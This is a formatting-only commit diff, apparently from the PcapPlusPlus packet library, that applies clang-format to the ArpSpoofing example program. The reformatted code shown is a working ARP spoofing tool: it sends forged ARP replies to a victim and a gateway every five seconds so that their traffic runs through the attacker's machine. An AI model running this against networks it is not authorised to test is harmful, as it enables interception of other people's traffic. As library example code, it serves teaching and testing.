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Run clang-format for Examples and Tutorials (#1464)
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‎.pre-commit-config.yaml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ repos:
2424
hooks:
2525
- id: clang-format
2626
args: ["--style=file"] # Use the .clang-format file for configuration
27-
files: ^Common\+\+/.*\.(cpp|h)$
27+
files: ^(Common\+\+|Tests|Examples)/.*\.(cpp|h)$
2828
- id: cppcheck
2929
args: ["--std=c++11", "--language=c++", "--suppressions-list=cppcheckSuppressions.txt", "--inline-suppr", "--force"]
3030
- repo: https://github.com/codespell-project/codespell

‎Examples/ArpSpoofing/main.cpp‎

Lines changed: 70 additions & 86 deletions
Original file line numberDiff line numberDiff line change
@@ -14,59 +14,54 @@
1414
#include <Logger.h>
1515
#include <getopt.h>
1616

17-
18-
#define EXIT_WITH_ERROR(reason) do { \
19-
printUsage(); \
20-
std::cout << std::endl << "ERROR: " << reason << std::endl << std::endl; \
21-
exit(1); \
22-
} while(0)
23-
24-
25-
static struct option L3FwdOptions[] =
26-
{
27-
{"interface", required_argument, nullptr, 'i'},
28-
{"victim", required_argument, nullptr, 'c'},
29-
{"gateway", required_argument, nullptr, 'g'},
30-
{"help", no_argument, nullptr, 'h'},
31-
{"version", no_argument, nullptr, 'v'},
32-
{nullptr, 0, nullptr, 0}
17+
#define EXIT_WITH_ERROR(reason) \
18+
do \
19+
{ \
20+
printUsage(); \
21+
std::cout << std::endl << "ERROR: " << reason << std::endl << std::endl; \
22+
exit(1); \
23+
} while (0)
24+
25+
static struct option L3FwdOptions[] = {
26+
{ "interface", required_argument, nullptr, 'i' },
27+
{ "victim", required_argument, nullptr, 'c' },
28+
{ "gateway", required_argument, nullptr, 'g' },
29+
{ "version", no_argument, nullptr, 'v' },
30+
{ "help", no_argument, nullptr, 'h' },
31+
{ nullptr, 0, nullptr, 0 }
3332
};
3433

35-
3634
/**
3735
* Print application usage
3836
*/
3937
void printUsage()
4038
{
4139
std::cout << std::endl
42-
<< "Usage:" << std::endl
43-
<< "------" << std::endl
44-
<< pcpp::AppName::get() << " [-hv] -i interface_ip -c victim_ip -g gateway_ip" << std::endl
45-
<< std::endl
46-
<< "Options:" << std::endl
47-
<< std::endl
48-
<< " -i interface_ip : The IPv4 address of interface to use" << std::endl
49-
<< " -c victim_ip : The IPv4 address of the victim" << std::endl
50-
<< " -g gateway_ip : The IPv4 address of the gateway" << std::endl
51-
<< " -h : Displays this help message and exits" << std::endl
52-
<< " -v : Displays the current version and exists" << std::endl
53-
<< std::endl;
40+
<< "Usage:" << std::endl
41+
<< "------" << std::endl
42+
<< pcpp::AppName::get() << " [-hv] -i interface_ip -c victim_ip -g gateway_ip" << std::endl
43+
<< std::endl
44+
<< "Options:" << std::endl
45+
<< std::endl
46+
<< " -i interface_ip : The IPv4 address of interface to use" << std::endl
47+
<< " -c victim_ip : The IPv4 address of the victim" << std::endl
48+
<< " -g gateway_ip : The IPv4 address of the gateway" << std::endl
49+
<< " -h : Displays this help message and exits" << std::endl
50+
<< " -v : Displays the current version and exists" << std::endl
51+
<< std::endl;
5452
}
5553

56-
5754
/**
5855
* Print application version
5956
*/
6057
void printAppVersion()
6158
{
62-
std::cout
63-
<< pcpp::AppName::get() << " " << pcpp::getPcapPlusPlusVersionFull() << std::endl
64-
<< "Built: " << pcpp::getBuildDateTime() << std::endl
65-
<< "Built from: " << pcpp::getGitInfo() << std::endl;
59+
std::cout << pcpp::AppName::get() << " " << pcpp::getPcapPlusPlusVersionFull() << std::endl
60+
<< "Built: " << pcpp::getBuildDateTime() << std::endl
61+
<< "Built from: " << pcpp::getGitInfo() << std::endl;
6662
exit(0);
6763
}
6864

69-
7065
pcpp::MacAddress getMacAddress(const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDevice* pDevice)
7166
{
7267
// Create an ARP packet and change its fields
@@ -75,26 +70,22 @@ pcpp::MacAddress getMacAddress(const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDe
7570
pcpp::MacAddress macSrc = pDevice->getMacAddress();
7671
pcpp::MacAddress macDst(0xff, 0xff, 0xff, 0xff, 0xff, 0xff);
7772
pcpp::EthLayer ethLayer(macSrc, macDst, (uint16_t)PCPP_ETHERTYPE_ARP);
78-
pcpp::ArpLayer arpLayer(pcpp::ARP_REQUEST,
79-
pDevice->getMacAddress(),
80-
pDevice->getMacAddress(),
81-
pDevice->getIPv4Address(),
82-
ipAddr);
83-
73+
pcpp::ArpLayer arpLayer(pcpp::ARP_REQUEST, pDevice->getMacAddress(), pDevice->getMacAddress(),
74+
pDevice->getIPv4Address(), ipAddr);
8475

8576
arpRequest.addLayer(&ethLayer);
8677
arpRequest.addLayer(&arpLayer);
8778
arpRequest.computeCalculateFields();
8879

89-
//setup arp reply filter
80+
// setup arp reply filter
9081
pcpp::ArpFilter arpFilter(pcpp::ARP_REPLY);
9182
if (!pDevice->setFilter(arpFilter))
9283
{
9384
std::cerr << "Could not set ARP filter on device" << std::endl;
9485
return pcpp::MacAddress::Zero;
9586
}
9687

97-
//send the arp request and wait for arp reply
88+
// send the arp request and wait for arp reply
9889
pDevice->sendPacket(&arpRequest);
9990
pcpp::RawPacketVector capturedPackets;
10091
pDevice->startCapture(capturedPackets);
@@ -107,7 +98,7 @@ pcpp::MacAddress getMacAddress(const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDe
10798
return pcpp::MacAddress::Zero;
10899
}
109100

110-
//parse arp reply and extract the MAC address
101+
// parse arp reply and extract the MAC address
111102
pcpp::Packet arpReply(capturedPackets.front());
112103
if (arpReply.isPacketOfType(pcpp::ARP))
113104
{
@@ -117,8 +108,8 @@ pcpp::MacAddress getMacAddress(const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDe
117108
return pcpp::MacAddress::Zero;
118109
}
119110

120-
121-
void doArpSpoofing(pcpp::PcapLiveDevice* pDevice, const pcpp::IPv4Address& gatewayAddr, const pcpp::IPv4Address& victimAddr)
111+
void doArpSpoofing(pcpp::PcapLiveDevice* pDevice, const pcpp::IPv4Address& gatewayAddr,
112+
const pcpp::IPv4Address& victimAddr)
122113
{
123114
pcpp::MacAddress gatewayMacAddr;
124115

@@ -150,84 +141,77 @@ void doArpSpoofing(pcpp::PcapLiveDevice* pDevice, const pcpp::IPv4Address& gatew
150141
// Create ARP reply for the gateway
151142
pcpp::Packet gwArpReply(500);
152143
pcpp::EthLayer gwEthLayer(deviceMacAddress, gatewayMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
153-
pcpp::ArpLayer gwArpLayer(pcpp::ARP_REPLY,
154-
pDevice->getMacAddress(),
155-
gatewayMacAddr,
156-
victimAddr,
157-
gatewayAddr);
144+
pcpp::ArpLayer gwArpLayer(pcpp::ARP_REPLY, pDevice->getMacAddress(), gatewayMacAddr, victimAddr, gatewayAddr);
158145
gwArpReply.addLayer(&gwEthLayer);
159146
gwArpReply.addLayer(&gwArpLayer);
160147
gwArpReply.computeCalculateFields();
161148

162149
// Create ARP reply for the victim
163150
pcpp::Packet victimArpReply(500);
164151
pcpp::EthLayer victimEthLayer(deviceMacAddress, victimMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
165-
pcpp::ArpLayer victimArpLayer(pcpp::ARP_REPLY,
166-
pDevice->getMacAddress(),
167-
victimMacAddr,
168-
gatewayAddr,
169-
victimAddr);
152+
pcpp::ArpLayer victimArpLayer(pcpp::ARP_REPLY, pDevice->getMacAddress(), victimMacAddr, gatewayAddr, victimAddr);
170153
victimArpReply.addLayer(&victimEthLayer);
171154
victimArpReply.addLayer(&victimArpLayer);
172155
victimArpReply.computeCalculateFields();
173156

174157
// Send ARP replies to gateway and to victim every 5 seconds
175158
std::cout << "Sending ARP replies to victim and to gateway every 5 seconds..." << std::endl << std::endl;
176-
while(1)
159+
while (1)
177160
{
178161
pDevice->sendPacket(&gwArpReply);
179-
std::cout << "Sent ARP reply: " << gatewayAddr << " [gateway] is at MAC address " << deviceMacAddress << " [me]" << std::endl;
162+
std::cout << "Sent ARP reply: " << gatewayAddr << " [gateway] is at MAC address " << deviceMacAddress << " [me]"
163+
<< std::endl;
180164
pDevice->sendPacket(&victimArpReply);
181-
std::cout << "Sent ARP reply: " << victimAddr << " [victim] is at MAC address " << deviceMacAddress << " [me]" << std::endl;
165+
std::cout << "Sent ARP reply: " << victimAddr << " [victim] is at MAC address " << deviceMacAddress << " [me]"
166+
<< std::endl;
182167
pcpp::multiPlatformSleep(5);
183168
}
184169
}
185170

186-
187171
int main(int argc, char* argv[])
188172
{
189173
pcpp::AppName::init(argc, argv);
190174

191-
//Get arguments from user for incoming interface and outgoing interface
175+
// Get arguments from user for incoming interface and outgoing interface
192176

193177
std::string iface = "", victim = "", gateway = "";
194178
int optionIndex = 0;
195179
int opt = 0;
196-
while((opt = getopt_long(argc, argv, "i:c:g:hv", L3FwdOptions, &optionIndex)) != -1)
180+
while ((opt = getopt_long(argc, argv, "i:c:g:hv", L3FwdOptions, &optionIndex)) != -1)
197181
{
198182
switch (opt)
199183
{
200-
case 0:
201-
break;
202-
case 'i':
203-
iface = optarg;
204-
break;
205-
case 'c':
206-
victim = optarg;
207-
break;
208-
case 'g':
209-
gateway = optarg;
210-
break;
211-
case 'h':
212-
printUsage();
213-
exit(0);
214-
break;
215-
case 'v':
216-
printAppVersion();
217-
break;
218-
default:
219-
printUsage();
220-
exit(-1);
184+
case 0:
185+
break;
186+
case 'i':
187+
iface = optarg;
188+
break;
189+
case 'c':
190+
victim = optarg;
191+
break;
192+
case 'g':
193+
gateway = optarg;
194+
break;
195+
case 'h':
196+
printUsage();
197+
exit(0);
198+
break;
199+
case 'v':
200+
printAppVersion();
201+
break;
202+
default:
203+
printUsage();
204+
exit(-1);
221205
}
222206
}
223207

224-
//Both incoming and outgoing interfaces must be provided by user
225-
if(iface == "" || victim == "" || gateway == "")
208+
// Both incoming and outgoing interfaces must be provided by user
209+
if (iface == "" || victim == "" || gateway == "")
226210
{
227211
EXIT_WITH_ERROR("Please specify both interface IP, victim IP and gateway IP");
228212
}
229213

230-
//Currently supports only IPv4 addresses
214+
// Currently supports only IPv4 addresses
231215
pcpp::IPv4Address ifaceAddr;
232216
pcpp::IPv4Address victimAddr;
233217
pcpp::IPv4Address gatewayAddr;

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